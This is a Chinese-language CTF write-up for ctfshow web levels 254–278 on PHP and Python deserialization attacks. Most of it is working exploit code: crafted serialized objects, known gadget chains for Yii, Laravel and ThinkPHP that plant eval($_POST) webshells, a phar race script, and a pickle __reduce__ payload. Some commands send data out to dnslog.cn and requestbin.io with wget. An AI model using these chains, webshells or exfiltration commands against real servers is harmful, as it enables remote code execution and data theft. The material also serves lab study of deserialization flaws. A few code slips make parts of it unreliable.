序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
php 将数据序列化和反序列化会用到两个函数
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
常用的魔术方法
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
web 254
这里面没有魔术方法
直接构造:?uername=xxxxxx&password=xxxxxx
web 255
这段代码需要传入两个参数username和password,然后会反序列化cookie的user
这段代码需要让 $isVip=true;再进行url编码
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
把这个放到cookie中,前面加上user=,再get传参
web 256
多了一个判断他们两个不等
if($this->username!==$this->password){
echo "your flag is ".$flag;
那么序列化时改一下值就行
<?php
class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
$a = new ctfShowUser;
echo urlencode(serialize($a));
?>
传参时username和password的值写构造后的
web 257
这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中
所以我们需要定义一个 ctfShowUser 的对象
发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo
同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code = "system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
echo (urlencode($a)) ;
get传参 username=&password=
web 258
比上一题多了一个正则,不能匹配到o:后面的数字
使用+号绕过匹配
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
$a=new ctfShowUser();
$a=serialize($a);
echo urlencode(str_replace('O:','O:+',$a));
?>
web 259
知识点:php原生类的 soapclient函数,当实例化一个不存在的方法时调用内置的call方法,会接收(str,arr)。可以通过_call方法发送请求
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));//请求头,请求地址,url,user_agent包括了所有需要的参数
echo urlencode(serialize($client));//序列化后通过vip传入
注,要想生成该序列化后的值,应当开启SoapClient拓展:php.ini中启用php_soap.dll。 (或者直接在phpstudy快捷开启)
web 260
这里将GET传参的结果进行序列化,对字符串进行序列化后是它本身
直接构造:?ctfshow= ctfshow_i_love_36D
web 261
一、这两个魔术方法需要php7.4以上才能生效
二、当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;
当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
三、__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
代码的关键点在于code要等于0x36d这里,由于是弱比较,这样是会相等的:
877.php<?php eval($_POST[a]);?> == 0x36d
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$a=new ctfshowvip('877.php','<?php eval($_POST[a]);?>');
echo serialize($a);
O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";s:4:"code";N;}
序列化一下
O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
web 262
反序列化字符串逃逸
访问message.php
base64编码
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//$obj = unserialize($msg_2);
echo base64_encode($msg_2)
?>
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9
写进cookie,访问message.php
web 263
是个登录界面
访问www.zip获取源码
index.php
$_SESSION['limti']
键名写错了,应该是limit,所以永远不成立,我们可以通过$_SESSION['limit']=base64_decode($_COOKIE['limit'])
来控制session的值
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user=new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$res="|".serialize($user);
echo $res;
O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}
base64编码
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
web 264
这道题和262一模一样,用相同的方法就行
web 265
当token和password相等时,输出flag
这里的token被随机了,为了使password和他相等,只需要把$password=&$token即可
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);
?>
O:12:"ctfshowAdmin":2:{s:5:"token";s:3:"123";s:8:"password";R:2;}
web 266
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
}
$admin = new ctfshow('123','123');
echo serialize($admin);
?>
O:7:"ctfshow":2:{s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
抓包,把中括号去掉
web 267
这道题是yii框架
我们用admin/admin登录
利用链
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
可以尝试dns带外找到index.php所在目录
public function __construct()
{
$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.a3is4z.dnslog.cn';
}
再次传值给code
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MzQ6IndnZXQgYHB3ZHxiYXNlNjRgLmEzaXM0ei5kbnNsb2cuY24iO31pOjE7czozOiJydW4iO319fX0=
L3Zhci93d3cvaHRtbC9iYXNpYy93ZWIK进行base64解码
得到 /var/www/html/basic/web
public function __construct()
{
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1];phpinfo();?>' >/var/www/html/basic/web/1.php)";
}
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NzI6ImVjaG8gJzw/cGhwIGV2YWwoJF9QT1NUWzFdO3BocGluZm8oKTs/PicgPi92YXIvd3d3L2h0bWwvYmFzaWMvd2ViLzEucGhwKSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
code传参
访问1.php
web 268
这一题把上一题的链子过滤了
用另一条链子
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
然后就和上一题一样了
web 269和270
都用268的链子,都是一样的
web 271
这道题是Laravel5.7框架
参考网上的链子
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D
web 272
Laravel5.8框架
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-05 22:27:03
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('/app/public/1.php','<?php eval(\$_POST[1]);?>');");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A72%3A%22%3C%3Fphp+file_put_contents%28%27%2Fapp%2Fpublic%2F1.php%27%2C%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%29%3B%22%3B%7D%7D%7D
web 273
和272一样
web 274
thinkphp反序列化,使用网上的链子
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
http://4971bc9c-b457-44dc-bf5a-9a027dc8a8f2.challenge.ctf.show/?lin=cat /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
web 275
这题主要是system函数,然后还是destruct销毁方法,所以我们只要让if($f->checkevil()===false)不成立,就不会用销毁文件
web 276
先生成一个phar包
<?php
class filter{
public $filename;
public $filecontent;
public $evilfile=true;
public $admin = true;
public function __construct($f='',$fn=''){
$this->filename='1;tac fla?.ph?';
$this->filecontent='';
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar = setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
python
import requests
import time
import threading
success = False
#读取phar包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar内容
def writePhar(url,data):
print('writing...')
requests.post(url,data)
#触发unlick的phar反序列化
def unlinkPhar(data,url):
global success
print('unlinking...')
res = requests.post(url,data)
if 'ctfshow' in res.text and success is False:
print(res.text)
success = True
def main():
global success
url = ''
phar = getPhar('phar.phar')
while success is False:
time.sleep(1)
w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
w.start()
u.start()
if __name__ == '__main__':
main()
运行得结果
web277
Python中提供pickle和json两个模块来实现序列化和反序列化。
序列化函数有dumps()和dump(),这俩的区别就是dumps()只会单纯的将对象序列化,而dump()会在序列化之后将结果写入到文件当中,一般来说我们就用dumps就好了。
与之相对的就是反序列化函数,同样也有两个,load()和loads(),同样的,loads()也只是单纯的进行反序列化,而load()会将结果写入文件中。
而要实现代码执行的关键,就是一个魔法函数__reduce__
import os
import pickle
import base64
class abc(object):
def __reduce__(self):
return os.system, ('wget https://requestbin.io/1j6eke01?c=`cat fla*`',)
print(base64.b64encode(pickle.dumps(abc())))
数据带外
web278
过滤了os.system函数,那么我们可以用eval函数导入os。也可以用os.popen
剩下的就和277一样了